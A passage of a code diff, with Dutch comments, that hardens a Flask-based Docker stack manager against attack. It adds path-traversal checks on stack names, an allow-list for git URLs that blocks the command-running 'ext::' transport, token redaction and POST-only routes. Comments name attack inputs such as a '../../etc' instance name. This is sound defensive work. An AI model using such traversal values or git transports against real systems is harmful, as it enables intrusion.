"style-src 'self' 'unsafe-inline'; "
"img-src 'self' data: https:; "
"font-src 'self' data:; "
"connect-src 'self'; "
"frame-ancestors 'none'; "
"base-uri 'none'; "
"form-action 'self'"))
response.headers.setdefault("X-Frame-Options", "DENY")
response.headers.setdefault("X-Content-Type-Options", "nosniff")
response.headers.setdefault("Referrer-Policy", "no-referrer")
return response
@ -160,7 +361,7 @@ def api_images_prune():
return jsonify(ok=ok, msg=msg)
@app.route("/api/docker/restart", methods=["GET", "POST"])
@app.route("/api/docker/restart", methods=["POST"])
def api_restart():
"""Restart the Server Up container itself."""
audit.log("core", "restart", "ok", ip=request.remote_addr)
@ -191,16 +392,20 @@ def api_stacks():
except Exception:
pass
def _stack_logo(d):
# 1) Voorkeur: opgeslagen metadata bij installatie
def _stack_meta(d) -> dict:
mf = d / ".serverup.json"
if mf.exists():
try:
m = json.loads(mf.read_text("utf-8"))
if m.get("logo_url") or m.get("icon"):
return m.get("logo_url", ""), m.get("icon", "")
return json.loads(mf.read_text("utf-8"))
except Exception:
pass
return {}
def _stack_logo(d):
# 1) Voorkeur: opgeslagen metadata bij installatie
m = _stack_meta(d)
if m.get("logo_url") or m.get("icon"):
return m.get("logo_url", ""), m.get("icon", "")
# 2) Fallback: match op naam met de store (ook voor oudere installaties)
if d.name in icon_map:
h = icon_map[d.name]; return h["logo_url"], h["icon"]
@ -217,21 +422,38 @@ def api_stacks():
continue
ct = docker.compose_ps(d, name=d.name)
logo_url, icon = _stack_logo(d)
meta = _stack_meta(d)
out.append({
"name": d.name, "path": str(d), "has_compose": True,
"running": any(c["running"] for c in ct),
"containers": ct,
"logo_url": logo_url, "icon": icon,
"network": meta.get("network", ""), "ip": meta.get("ip", ""),
})
return jsonify(out)
@app.route("/api/stacks/<name>/<action>", methods=["POST"])
def api_stack_action(name, action):
def _stack_dir(name: str) -> tuple[Path | None, Path | None]:
"""Resolve een stacknaam naar een map binnen LIBRARY_DIR.
Retourneert (library, stackmap) of (None, None) als de naam ongeldig is of
buiten de library zou wijzen. Elke route die met een door de gebruiker
aangeleverde stacknaam werkt, hoort hier doorheen te gaan.
"""
if not cfg.safe_name(name):
return None, None
lib = Path(cfg.load()["LIBRARY_DIR"]).resolve()
d = (lib / name).resolve()
if not d.is_relative_to(lib):
return jsonify(ok=False, msg="ongeldig pad"), 400
if not d.is_relative_to(lib) or d == lib:
return None, None
return lib, d
@app.route("/api/stacks/<name>/<action>", methods=["POST"])
def api_stack_action(name, action):
lib, d = _stack_dir(name)
if not d:
return jsonify(ok=False, msg="ongeldige naam"), 400
if not d.exists():
return jsonify(ok=False, msg="niet gevonden"), 404
if action not in ("start", "stop", "restart", "update", "remove", "backup"):
@ -293,56 +515,113 @@ def api_stack_action(name, action):
@app.route("/api/stacks/<name>/env")
def api_stack_env(name):
lib = Path(cfg.load()["LIBRARY_DIR"]).resolve()
d = (lib / name).resolve()
if not d.is_relative_to(lib):
return jsonify(ok=False, msg="ongeldig pad"), 400
lib, d = _stack_dir(name)
if not d:
return jsonify(ok=False, msg="ongeldige naam"), 400
return jsonify(content=docker.read_env(d))
@app.route("/api/stacks/<name>/env", methods=["PUT"])
def api_stack_env_put(name):
lib = Path(cfg.load()["LIBRARY_DIR"]).resolve()
d = (lib / name).resolve()
if not d.is_relative_to(lib):
return jsonify(ok=False, msg="ongeldig pad"), 400
lib, d = _stack_dir(name)
if not d:
return jsonify(ok=False, msg="ongeldige naam"), 400
docker.write_env(d, (request.json or {}).get("content", ""))
return jsonify(ok=True)
@app.route("/api/stacks/<name>/compose")
def api_stack_compose(name):
lib = Path(cfg.load()["LIBRARY_DIR"]).resolve()
d = (lib / name).resolve()
if not d.is_relative_to(lib):
return jsonify(ok=False, msg="ongeldig pad"), 400
lib, d = _stack_dir(name)
if not d:
return jsonify(ok=False, msg="ongeldige naam"), 400
return jsonify(content=docker.read_compose(d))
@app.route("/api/stacks/<name>/compose", methods=["PUT"])
def api_stack_compose_put(name):
lib = Path(cfg.load()["LIBRARY_DIR"]).resolve()
d = (lib / name).resolve()
if not d.is_relative_to(lib):
return jsonify(ok=False, msg="ongeldig pad"), 400
docker.write_compose(d, (request.json or {}).get("content", ""))
lib, d = _stack_dir(name)
if not d:
return jsonify(ok=False, msg="ongeldige naam"), 400
content = (request.json or {}).get("content", "")
# Eerst valideren, dan pas schrijven: een typefout maakt anders een
# draaiende stack onstartbaar zonder dat je het merkt.
ok, err = docker.validate_compose_text(content, d)
if not ok:
return jsonify(ok=False, msg=f"Compose is ongeldig:\n{err}"), 400
docker.write_compose(d, content)
audit.log("stacks", "compose_edit", "ok", ref=name, ip=request.remote_addr)
return jsonify(ok=True)
# ── Containers binnen een stack ──────────────────────────────────────────────
def _stack_containers(name: str) -> list[str]:
"""Namen van de containers die bij deze stack horen."""
lib, d = _stack_dir(name)
if not d or not d.exists():
return []
return [c["name"] for c in docker.compose_ps(d, name=name) if c.get("name")]
@app.route("/api/stacks/<name>/containers")
def api_stack_containers(name):
lib, d = _stack_dir(name)
if not d:
return jsonify(ok=False, msg="ongeldige naam"), 400
if not d.exists():
return jsonify(ok=False, msg="niet gevonden"), 404
containers = docker.compose_ps(d, name=name)
live = docker.stats([c["name"] for c in containers if c.get("running")])
for c in containers:
c["stats"] = live.get(c["name"], {})
return jsonify(ok=True, containers=containers)
@app.route("/api/stacks/<name>/containers/<container>/<action>", methods=["POST"])
def api_container_action(name, container, action):
"""Start/stop/herstart één container binnen een stack.
De containernaam wordt gecontroleerd tegen de containers die bij déze stack
horen; zo kan deze route nooit een willekeurige container op de host raken.
"""
if action not in ("start", "stop", "restart"):
return jsonify(ok=False, msg="onbekende actie"), 400
if container not in _stack_containers(name):
return jsonify(ok=False, msg="container hoort niet bij deze stack"), 404
ok, msg = docker.container_action(container, action)
audit.log("containers", action, "ok" if ok else "error", ref=container,
ip=request.remote_addr)
return jsonify(ok=ok, msg=msg or ("gelukt" if ok else "mislukt"))
@app.route("/api/stacks/<name>/containers/<container>/logs")
def api_container_logs(name, container):
if container not in _stack_containers(name):
return jsonify(ok=False, msg="container hoort niet bij deze stack"), 404
tail = min(max(int(request.args.get("tail", 200)), 1), 2000)
return jsonify(ok=True, logs=docker.container_logs(container, tail))
@app.route("/api/stacks/<name>/logs")
def api_stack_logs(name):
lib = Path(cfg.load()["LIBRARY_DIR"]).resolve()
d = (lib / name).resolve()
if not d.is_relative_to(lib):
return jsonify(ok=False, msg="ongeldig pad"), 400
lib, d = _stack_dir(name)
if not d:
return jsonify(ok=False, msg="ongeldige naam"), 400
return jsonify(logs=docker.compose_logs(d, name=name))
# ── App Store ─────────────────────────────────────────────────────────────────
_BAD_URL_MSG = ("Ongeldige repo-URL. Toegestaan zijn http(s)://, ssh:// en "
"git@host:pad. Andere git-transports (zoals ext::) kunnen "
"commando's uitvoeren op de server.")
@app.route("/api/repos")
def api_repos():
repos = cfg.load().get("APP_REPOS", [])
# Nooit het token zelf teruggeven — alleen of er één ingesteld is.
repos = cfg.redact(cfg.load()).get("APP_REPOS", [])
result = [{**r, "cloned": git.cache_dir(r["id"]).exists()} for r in repos]
return jsonify(result)
@ -353,6 +632,8 @@ def api_repos_add():
url = d.get("url", "").strip()
if not url:
return jsonify(ok=False, msg="URL vereist")
if not cfg.valid_repo_url(url):
return jsonify(ok=False, msg=_BAD_URL_MSG), 400
repos = list(cfg.load().get("APP_REPOS", []))
existing_ids = {r["id"] for r in repos}
base_rid = d.get("id", url.split("/")[-1].replace(".git", "")).strip()[:30] or str(int(time.time()))
@ -380,7 +661,7 @@ def api_repos_del(rid):
return jsonify(ok=True)
@app.route("/api/repos/<rid>/sync", methods=["GET", "POST"])
@app.route("/api/repos/<rid>/sync", methods=["POST"])
def api_repos_sync(rid):
repo = next((r for r in cfg.load().get("APP_REPOS", []) if r["id"] == rid), None)
if not repo:
@ -414,6 +695,10 @@ def _is_stack_dir(p: Path) -> bool:
def _find_stack_src(stack: str, rid: str) -> Path | None:
"""Zoek de stack bronmap in de git cache."""
# `stack` en `rid` komen uit de request-body en worden hieronder in paden
# geplakt; zonder deze controle kan een naam als '../..' de cache uit wijzen.
if not cfg.safe_name(stack) or not cfg.safe_name(rid):
return None
repo = next((r for r in cfg.load().get("APP_REPOS", []) if r["id"] == rid), None)
if not repo:
return None
@ -442,6 +727,47 @@ def _find_stack_src(stack: str, rid: str) -> Path | None:
return None
_SECRET_HINTS = ("token", "password", "passwd", "secret", "apikey", "api_key",
"_key", "salt", "pepper")
def _is_secret_field(f: dict) -> bool:
haystack = f"{f.get('name', '')} {f.get('title', '')}".lower()
return any(h in haystack for h in _SECRET_HINTS)
def _annotate_fields(fields: list[dict]) -> list[dict]:
"""Verrijk de installatievelden met een vrije poort en een secret-vlag.
- poortvelden krijgen een default die nog niet in gebruik is, zodat een
installatie niet strandt op 'port is already allocated';
- geheime velden worden gemarkeerd zodat de UI een genereerknop toont.
"""
try:
bezet = docker.used_ports()
except Exception:
bezet = set()
uitgedeeld: set[int] = set()
for f in fields:
if _is_secret_field(f):
f["secret"] = True
naam = (f.get("name") or "").lower()
if f.get("type") == "int" and "port" in naam:
try:
gewenst = int(f.get("default") or 0)
except (TypeError, ValueError):
gewenst = 0
kandidaat = gewenst if gewenst > 0 else 8100
while kandidaat in bezet or kandidaat in uitgedeeld:
kandidaat += 1
uitgedeeld.add(kandidaat)
f["suggested"] = kandidaat
if kandidaat != gewenst:
f["port_taken"] = gewenst
f["default"] = kandidaat
return fields
@app.route("/api/store/preview", methods=["POST"])
def api_store_preview():
"""Preview een stack: lees compose + .env en extract configureerbare velden.
@ -459,7 +785,7 @@ def api_store_preview():
# ── Boilerplate (ChristianLempa-formaat) ──────────────────────────────────
if boilerplates.is_boilerplate(src):
meta = boilerplates.metadata(src)
flds = boilerplates.fields(src)
flds = _annotate_fields(boilerplates.fields(src))
# Render een preview met defaults, zodat de gebruiker ziet wat er komt
try:
ctx = boilerplates.build_context(src, {})
@ -502,16 +828,25 @@ def api_store_preview():
k, v = k.strip(), v.strip()
is_port = "PORT" in k.upper()
is_tag = k.upper() in ("TAG", "VERSION", "IMAGE_TAG", "IMAGE_VERSION") or k.upper().endswith("_TAG") or k.upper().endswith("_VERSION")
result["env_vars"].append({
entry = {
"key": k, "value": v,
"is_port": is_port, "is_tag": is_tag,
"secret": _is_secret_field({"name": k, "title": k}),
"desc": "Poort" if is_port else "Image tag" if is_tag else "",
})
}
if is_port:
try:
result["ports"].append({"key": k, "value": int(v)})
poort = int(v)
except ValueError:
result["ports"].append({"key": k, "value": v})
else:
vrij = docker.next_free_port(poort)
entry["suggested"] = vrij
if vrij != poort:
entry["port_taken"] = poort
entry["value"] = str(vrij)
result["ports"].append({"key": k, "value": vrij})
result["env_vars"].append(entry)
# Parse compose voor images
cf = docker.find_compose(src)
@ -565,9 +900,29 @@ def api_store_install():
env_overrides = d.get("env_overrides", {}) # {"PORT": "8080", "TAG": "v2"}
image_tags = d.get("image_tags", {}) # {"service_name": "v2.1"}
bp_values = d.get("values", {}) # boilerplate variable values
net_name = (d.get("network") or "").strip() # leeg = poorten op de host
net_ip = (d.get("ip") or "").strip()
if not stack:
return jsonify(ok=False, msg="stack vereist")
net = None
if net_name:
net = _network_by_name(net_name)
if not net:
return jsonify(ok=False, msg=f"Netwerk '{net_name}' is niet geconfigureerd"), 400
if not net_ip:
net_ip = networks.next_free_ip(net, _reserved_ips())
if not net_ip:
return jsonify(ok=False, msg="Geen vrij IP-adres beschikbaar in dit netwerk"), 400
if not networks.ip_in_network(net_ip, net):
return jsonify(ok=False, msg=f"{net_ip} ligt buiten het subnet van '{net_name}'"), 400
if net_ip in _reserved_ips() or net_ip in networks.used_ips(net_name):
return jsonify(ok=False, msg=f"{net_ip} is al in gebruik"), 409
# De instantienaam bepaalt de doelmap én de compose-projectnaam. Zonder
# controle schrijft `"instance": "../../etc"` buiten de library.
if not cfg.safe_name(inst):
return jsonify(ok=False, msg="ongeldige instantienaam"), 400
src = _find_stack_src(stack, rid)
if not src:
return jsonify(ok=False, msg=f"'{stack}' niet gevonden")
@ -584,6 +939,8 @@ def api_store_install():
except Exception as e:
return jsonify(ok=False, msg=f"Library map kan niet aangemaakt worden: {e}")
dest = (lib / inst).resolve()
if not dest.is_relative_to(lib) or dest == lib:
return jsonify(ok=False, msg="ongeldige instantienaam"), 400
if dest.exists():
return jsonify(ok=False, msg=f"'{inst}' bestaat al")
@ -669,6 +1026,30 @@ def api_store_install():
cf.write_text(new_content)
jobs.log(qq, "ok", "Image tags aangepast")
# Eigen IP-adres in plaats van poorten op de host
if net:
cf = docker.find_compose(dest)
if not cf:
jobs.log(qq, "error", "Geen compose-bestand om aan te passen")
jobs.finish(jid, "error"); jobs.done(qq); return
try:
nieuw = compose_transform.to_dedicated_ip(
cf.read_text(encoding="utf-8"), net_name, net_ip)
except compose_transform.TransformError as e:
jobs.log(qq, "error", f"Netwerkomzetting mislukt: {e}")
jobs.finish(jid, "error"); jobs.done(qq); return
cf.write_text(nieuw, encoding="utf-8")
jobs.log(qq, "ok", f"Eigen IP-adres: {net_ip} op netwerk '{net_name}'")
jobs.log(qq, "dim", "Poortmappings verwijderd — de app draait op "
"zijn eigen poort op dit adres.")
# Valideer het resultaat vóór we proberen te starten, zodat een
# fout in het template een duidelijke melding geeft.
ok_cfg, err_cfg = docker.validate_compose(dest)
if not ok_cfg:
jobs.log(qq, "error", f"Compose is ongeldig:\n{err_cfg}")
jobs.finish(jid, "error"); jobs.done(qq); return
# Data dir
try:
Path(cfg.load()["DATA_DIR"]).resolve().mkdir(parents=True, exist_ok=True)
@ -687,6 +1068,10 @@ def api_store_install():
"name": meta.get("name", stack),
"logo_url": logo,
"icon": meta.get("icon", ""),
# Reserveert het adres: zolang deze stack bestaat krijgt
# geen andere installatie hetzelfde IP voorgesteld.
"network": net_name,
"ip": net_ip if net else "",
}, ensure_ascii=False, indent=2), encoding="utf-8")
except Exception:
pass
@ -711,6 +1096,97 @@ def api_store_install():
return jsonify(ok=True, job_id=jid)
# ── Netwerken (eigen IP-adres per stack) ─────────────────────────────────────
def _network_by_name(name: str) -> dict | None:
for n in cfg.load().get("NETWORKS", []) or []:
if isinstance(n, dict) and n.get("name") == name:
return n
return None
def _reserved_ips(exclude_stack: str = "") -> set[str]:
"""IP's die Server Up bij installatie aan een stack heeft toegekend.
Staat los van used_ips(): een gestopte stack houdt zijn adres, zodat een
nieuwe installatie het niet afpakt.
"""
lib = Path(cfg.load()["LIBRARY_DIR"]).resolve()
ips: set[str] = set()
if not lib.exists():
return ips
for d in lib.iterdir():
if not d.is_dir() or d.name == exclude_stack:
continue
mf = d / ".serverup.json"
if not mf.exists():
continue
try:
meta = json.loads(mf.read_text("utf-8"))
except Exception:
continue
if meta.get("ip"):
ips.add(meta["ip"])
return ips
@app.route("/api/networks")
def api_networks():
defined = cfg.load().get("NETWORKS", []) or []
live = {n["name"]: n for n in networks.list_docker_networks()}
out = []
for n in defined:
if not isinstance(n, dict):
continue
naam = n.get("name", "")
entry = {**n, "created": naam in live,
"used_ips": sorted(networks.used_ips(naam)) if naam in live else []}
entry["next_ip"] = networks.next_free_ip(n, _reserved_ips())
out.append(entry)
return jsonify(networks=out, interfaces=networks.host_interfaces(),
drivers=list(networks.DRIVERS))
@app.route("/api/networks", methods=["POST"])
def api_networks_add():
d = request.json or {}
net = {"name": (d.get("name") or "").strip(),
"driver": d.get("driver") or "macvlan",
"parent": (d.get("parent") or "").strip(),
"subnet": (d.get("subnet") or "").strip(),
"gateway": (d.get("gateway") or "").strip(),
"ip_range": (d.get("ip_range") or "").strip()}
probleem = networks.validate(net)
if probleem:
return jsonify(ok=False, msg=probleem), 400
if _network_by_name(net["name"]):
return jsonify(ok=False, msg="Er bestaat al een netwerk met deze naam"), 409
ok, msg = networks.create(net)
if not ok:
return jsonify(ok=False, msg=msg), 400
cfg.patch({"NETWORKS": list(cfg.load().get("NETWORKS", []) or []) + [net]})
audit.log("networks", "add", "ok", ref=net["name"], ip=request.remote_addr)
return jsonify(ok=True, msg=msg)
@app.route("/api/networks/<name>", methods=["DELETE"])
def api_networks_del(name):
net = _network_by_name(name)
if not net:
return jsonify(ok=False, msg="Netwerk niet gevonden"), 404
in_gebruik = sorted(networks.used_ips(name))
if in_gebruik:
return jsonify(ok=False,
msg=f"Nog {len(in_gebruik)} container(s) op dit netwerk — "
"stop die stacks eerst."), 409
ok, msg = networks.remove(name)
cfg.patch({"NETWORKS": [n for n in cfg.load().get("NETWORKS", []) or []
if n.get("name") != name]})
audit.log("networks", "delete", "ok" if ok else "error", ref=name,
ip=request.remote_addr)
return jsonify(ok=True, msg=msg if ok else f"Uit config verwijderd ({msg})")
# ── Module Store ──────────────────────────────────────────────────────────────
@app.route("/api/modules")
@ -926,7 +1402,7 @@ def api_mod_update():
@app.route("/api/modrepos")
def api_modrepos():
repos = cfg.load().get("MODULE_REPOS", [])
repos = cfg.redact(cfg.load()).get("MODULE_REPOS", [])
return jsonify([{**r, "cloned": git.cache_dir(r["id"]).exists()} for r in repos])
@ -936,6 +1412,8 @@ def api_modrepos_add():
url = d.get("url", "").strip()
if not url:
return jsonify(ok=False, msg="URL vereist")
if not cfg.valid_repo_url(url):
return jsonify(ok=False, msg=_BAD_URL_MSG), 400
repos = list(cfg.load().get("MODULE_REPOS", []))
existing_ids = {r["id"] for r in repos}
base_rid = d.get("id", url.split("/")[-1].replace(".git", ""))[:30]
@ -961,7 +1439,7 @@ def api_modrepos_del(rid):
return jsonify(ok=True)
@app.route("/api/modrepos/<rid>/sync", methods=["GET", "POST"])
@app.route("/api/modrepos/<rid>/sync", methods=["POST"])
def api_modrepos_sync(rid):
repo = next((r for r in cfg.load().get("MODULE_REPOS", []) if r["id"] == rid), None)
if not repo:
@ -981,18 +1459,40 @@ def api_modrepos_sync(rid):
# ── Settings ──────────────────────────────────────────────────────────────────
_SETTINGS_HIDE = {"WIZARD_DONE", "ACTIVE_MODULES"}
@app.route("/api/settings")
def api_settings():
c = cfg.load()
hide = {"WIZARD_DONE", "ACTIVE_MODULES"}
return jsonify({k: v for k, v in c.items() if k not in hide})
c = cfg.redact(cfg.load())
return jsonify({k: v for k, v in c.items() if k not in _SETTINGS_HIDE})
@app.route("/api/settings", methods=["PUT"])
def api_settings_put():
d = request.json or {}
hide = {"WIZARD_DONE", "ACTIVE_MODULES"}
updates = {k: v for k, v in d.items() if k not in hide}
# AUTH loopt uitsluitend via /api/auth/* — anders kun je via de generieke
# settings-PUT je eigen wachtwoordhash of trusted_proxies injecteren.
blocked = _SETTINGS_HIDE | cfg.SECRET_KEYS
updates = {k: v for k, v in d.items() if k not in blocked}
current = cfg.load()
for key in ("APP_REPOS", "MODULE_REPOS"):
if key not in updates:
continue
if not isinstance(updates[key], list):
return jsonify(ok=False, msg=f"{key} moet een lijst zijn"), 400
known = {r.get("id"): r.get("token", "")
for r in current.get(key, []) if isinstance(r, dict)}
for r in updates[key]:
if not isinstance(r, dict):
return jsonify(ok=False, msg=f"Ongeldige repo in {key}"), 400
if r.get("url") and not cfg.valid_repo_url(r["url"]):
return jsonify(ok=False, msg=f"Ongeldige repo-URL: {r['url']}"), 400
# De UI kent het token niet meer (zie redact), dus een leeg veld
# betekent "ongewijzigd" en mag het bestaande token niet wissen.
r.pop("has_token", None)
if not (r.get("token") or "").strip():
r["token"] = known.get(r.get("id"), "")
if updates:
cfg.patch(updates)
return jsonify(ok=True)
@ -1111,10 +1611,8 @@ def api_wizard():
"APP_REPOS", "MODULE_REPOS")})
@app.route("/api/wizard/paths", methods=["GET", "POST"])
@app.route("/api/wizard/paths", methods=["POST"])
def api_wizard_paths():
if request.method == "GET":
return jsonify(ok=True, msg="use POST")
try:
d = request.json or {}
updates = {}
@ -1133,20 +1631,22 @@ def api_wizard_paths():
return jsonify(ok=False, msg=str(e))
@app.route("/api/wizard/repos", methods=["GET", "POST"])
@app.route("/api/wizard/repos", methods=["POST"])
def api_wizard_repos():
"""Sla repos op vanuit de wizard."""
if request.method == "GET":
return jsonify(ok=True, msg="use POST")
try:
d = request.json or {}
updates = {}
app_repos = d.get("APP_REPOS")
if app_repos is not None:
updates["APP_REPOS"] = [r for r in app_repos if r.get("url", "").strip()]
mod_repos = d.get("MODULE_REPOS")
if mod_repos is not None:
updates["MODULE_REPOS"] = [r for r in mod_repos if r.get("url", "").strip()]
for key in ("APP_REPOS", "MODULE_REPOS"):
given = d.get(key)
if given is None:
continue
kept = [r for r in given if r.get("url", "").strip()]
for r in kept:
if not cfg.valid_repo_url(r.get("url", "")):
return jsonify(ok=False,
msg=f"Ongeldige repo-URL: {r.get('url', '')}"), 400
updates[key] = kept
if updates:
cfg.patch(updates)
audit.log("wizard", "repos", "ok",
@ -1157,7 +1657,7 @@ def api_wizard_repos():
return jsonify(ok=False, msg=str(e))
@app.route("/api/wizard/sync", methods=["GET", "POST"])
@app.route("/api/wizard/sync", methods=["POST"])
def api_wizard_sync():
jid, q = jobs.create("wizard:sync")
@ -1192,6 +1692,8 @@ def api_wizard_git():
url = d.get("url", "").strip()
if not url:
return jsonify(ok=False, msg="URL vereist")
if not cfg.valid_repo_url(url):
return jsonify(ok=False, msg=_BAD_URL_MSG), 400
slug = url.rstrip("/").split("/")[-1].removesuffix(".git") or "eigen-git"
repo = {"id": slug, "url": url, "branch": "main"}
if d.get("token"):
@ -1260,14 +1762,14 @@ def api_wizard_git():
return jsonify(ok=True)
@app.route("/api/wizard/complete", methods=["GET", "POST"])
@app.route("/api/wizard/complete", methods=["POST"])
def api_wizard_done():
cfg.patch({"WIZARD_DONE": True})
audit.log("wizard", "complete", "ok")
return jsonify(ok=True)
@app.route("/api/wizard/reset", methods=["GET", "POST"])
@app.route("/api/wizard/reset", methods=["POST"])
def api_wizard_reset():
c = cfg.load()
c.pop("WIZARD_DONE", None)
@ -1402,10 +1904,17 @@ def _boot_sync():
Loopt na een korte pauze zodat Flask volledig opgestart is.
Bij eerste start worden repos gecloned; bij herstart wordt git pull gedraaid.
Standaard uitgeschakeld: automatisch pullen betekent dat wijzigingen in een
externe repo ongezien op deze server terechtkomen en modulecode uit die
repo wordt uitgevoerd. Zet AUTO_SYNC_ON_BOOT aan als je dat accepteert.
"""
import time
time.sleep(2)
c = cfg.load()
if not c.get("AUTO_SYNC_ON_BOOT"):
print(" [boot] auto-sync staat uit (AUTO_SYNC_ON_BOOT)")
return
for label, repo_list in [("App", c.get("APP_REPOS", [])),
("Module", c.get("MODULE_REPOS", []))]:
for repo in repo_list:
@ -1428,7 +1937,8 @@ def _boot_sync():
if __name__ == "__main__":
port = int(os.environ.get("PORT", 5000))
print(f"\n🚀 Server Up · http://0.0.0.0:{port}\n")
host = os.environ.get("SU_BIND", "0.0.0.0")
print(f"\n🚀 Server Up {VERSION} · http://{host}:{port}\n")
audit.init()
i18n.load()
print("Boot repos:")
@ -1438,7 +1948,15 @@ if __name__ == "__main__":
if not MODULES:
print(" (geen)")
audit.log("core", "startup", "ok")
if auth.needs_setup():
print("\n⚠ Nog geen account — open de webinterface en maak er één aan.")
print(" Tot dat moment kan iedereen die deze poort bereikt het account claimen.\n")
print("Boot sync (achtergrond):")
jobs.run(_boot_sync)
print(f"\n→ http://localhost:{port}\n")
app.run(host="0.0.0.0", port=port, debug=False, threaded=True)
if os.environ.get("SU_DEV"):
# Werkzeug-ontwikkelserver: handig lokaal, niet geschikt voor productie.
app.run(host=host, port=port, debug=False, threaded=True)
else:
from waitress import serve
serve(app, host=host, port=port, threads=8, ident="server-up")

View file

@ -2,6 +2,15 @@
import json, os, re, tempfile, threading
from pathlib import Path
# Namen van stacks/instanties: streng genoeg om padtrucs uit te sluiten en
# tegelijk geldig als docker-compose projectnaam.
_SAFE_NAME_RE = re.compile(r"^[a-zA-Z0-9][a-zA-Z0-9._-]{0,63}$")
# Git-transports die we toestaan. Alles daarbuiten (met name `ext::`, dat een
# shell-commando uitvoert, en `file://`) wordt geweigerd.
_URL_SCHEME_RE = re.compile(r"^(https?|ssh|git)://", re.IGNORECASE)
_SCP_SYNTAX_RE = re.compile(r"^[A-Za-z0-9._-]+@[A-Za-z0-9._-]+:[^\s]+$")
DEFAULTS = {
"LIBRARY_DIR": "/opt/serverup/stacks",
"DATA_DIR": "/opt/serverup/appdata",
@ -28,8 +37,19 @@ DEFAULTS = {
# http://10.0.20.22:3000/api/v1/repos/bes-r/server-up/releases
"UPDATE_API_URL": os.environ.get("SU_UPDATE_API", ""),
"UPDATE_INCLUDE_PRERELEASE": False,
# Authenticatie — beheerd via core.auth; hier alleen als placeholder zodat
# load() de sleutel kent. Wordt nooit via /api/settings teruggegeven.
"AUTH": {},
# Repo's synchroniseren bij elke start. Standaard uit: een gecompromitteerde
# upstream-repo levert anders vanzelf nieuwe templates/modules aan.
"AUTO_SYNC_ON_BOOT": False,
# Macvlan/ipvlan-netwerken waarmee stacks een eigen IP-adres krijgen.
"NETWORKS": [],
}
# Sleutels die nooit naar de client mogen: geheimen of interne administratie.
SECRET_KEYS = frozenset({"AUTH"})
_path: Path = Path(os.environ.get("SU_CONFIG", "/data/config.json"))
_lock = threading.RLock()
@ -62,6 +82,57 @@ def _sanitize_repos(repos: list) -> list:
return repos
def safe_name(name: str) -> str | None:
"""Valideer een stack-/instantienaam. Retourneert de naam of None.
Weigert lege namen, padscheidingstekens, `..` en alles wat buiten
[a-zA-Z0-9._-] valt, zodat een naam nooit uit zijn basismap kan breken.
"""
name = (name or "").strip()
if not _SAFE_NAME_RE.match(name):
return None
if name in (".", "..") or name.startswith("-"):
return None
return name
def valid_repo_url(url: str) -> bool:
"""Alleen http(s)/ssh/git-URL's en scp-achtige `user@host:pad`-adressen.
Git ondersteunt ook `ext::<commando>`, dat letterlijk een shell-commando
uitvoert, en `file://`, dat lokale paden blootlegt. Beide horen niet thuis
in een URL die een gebruiker via de API mag opgeven.
"""
url = (url or "").strip()
if not url or len(url) > 2048:
return False
if any(c in url for c in ("\n", "\r", "\x00")):
return False
return bool(_URL_SCHEME_RE.match(url) or _SCP_SYNTAX_RE.match(url))
def redact(config: dict) -> dict:
"""Kopie van de config zonder geheimen, geschikt om aan de client te sturen.
Git-tokens worden vervangen door een `has_token`-vlag, zodat de UI kan tonen
dát er een token is zonder de waarde prijs te geven.
"""
out = {k: v for k, v in config.items() if k not in SECRET_KEYS}
for key in ("APP_REPOS", "MODULE_REPOS"):
repos = out.get(key)
if not isinstance(repos, list):
continue
clean = []
for r in repos:
if isinstance(r, dict):
has_token = bool((r.get("token") or "").strip())
r = {k: v for k, v in r.items() if k != "token"}
r["has_token"] = has_token
clean.append(r)
out[key] = clean
return out
def load() -> dict:
_ensure()
cfg = dict(DEFAULTS)
@ -111,8 +182,10 @@ def load() -> dict:
# Auto-reset wizard als LIBRARY_DIR niet bestaat (verse installatie met oud volume)
if cfg.get("WIZARD_DONE") and not Path(cfg["LIBRARY_DIR"]).exists():
cfg["WIZARD_DONE"] = False
for k in DEFAULTS:
if k in os.environ:
# Env-overrides gelden alleen voor eenvoudige waarden; lijsten en objecten
# (APP_REPOS, AUTH, NETWORKS, …) zouden anders een kale string worden.
for k, default in DEFAULTS.items():
if k in os.environ and not isinstance(default, (dict, list)):
cfg[k] = os.environ[k]
# Herhaal veiligheidscheck na env-overrides
for key in ("LIBRARY_DIR", "DATA_DIR", "BACKUP_DIR"):
@ -143,6 +216,9 @@ def save(cfg: dict):
with _lock:
fd, tmp = tempfile.mkstemp(dir=str(_path.parent), suffix=".json")
try:
# De config bevat git-tokens en wachtwoordhashes — alleen leesbaar
# voor de eigenaar. mkstemp geeft al 0600; expliciet is duidelijker.
os.chmod(tmp, 0o600)
with os.fdopen(fd, "w") as f:
json.dump(cfg, f, indent=2)
Path(tmp).replace(_path)

View file

@ -3,30 +3,56 @@ import sqlite3, time, json, os, threading
from pathlib import Path
_db = Path(os.environ.get("SU_AUDIT", "/data/audit.db"))
_local = threading.local()
# Eén gedeelde verbinding achter een lock. Eerder kreeg elke thread een eigen
# thread-local verbinding die nooit gesloten werd; omdat iedere job een nieuwe
# thread start, lekte dat een file descriptor per job.
_conn_obj: sqlite3.Connection | None = None
_lock = threading.Lock()
def init():
_db.parent.mkdir(parents=True, exist_ok=True)
with _conn() as c:
with _lock:
c = _connect()
with c:
c.execute("""CREATE TABLE IF NOT EXISTS log(
id INTEGER PRIMARY KEY, ts REAL,
src TEXT, action TEXT, status TEXT,
ref TEXT, detail TEXT, ip TEXT)""")
def _conn():
if not hasattr(_local, "c") or _local.c is None:
_local.c = sqlite3.connect(str(_db), timeout=5)
_local.c.row_factory = sqlite3.Row
return _local.c
def _connect() -> sqlite3.Connection:
"""Maak (eenmalig) de gedeelde verbinding. Aanroepen onder _lock."""
global _conn_obj
if _conn_obj is None:
_db.parent.mkdir(parents=True, exist_ok=True)
_conn_obj = sqlite3.connect(str(_db), timeout=5, check_same_thread=False)
_conn_obj.row_factory = sqlite3.Row
# WAL laat lezers en schrijvers naast elkaar werken.
_conn_obj.execute("PRAGMA journal_mode=WAL")
return _conn_obj
def close():
"""Sluit de gedeelde verbinding (gebruikt door tests en bij afsluiten)."""
global _conn_obj
with _lock:
if _conn_obj is not None:
try:
_conn_obj.close()
finally:
_conn_obj = None
def log(src: str, action: str, status="ok", ref="", detail=None, ip=""):
d = json.dumps(detail) if isinstance(detail, (dict, list)) else str(detail or "")
try:
with _conn() as c:
c.execute("INSERT INTO log(ts,src,action,status,ref,detail,ip) VALUES(?,?,?,?,?,?,?)",
with _lock:
c = _connect()
with c:
c.execute("INSERT INTO log(ts,src,action,status,ref,detail,ip) "
"VALUES(?,?,?,?,?,?,?)",
(time.time(), src, action, status, ref, d, ip))
except Exception:
pass
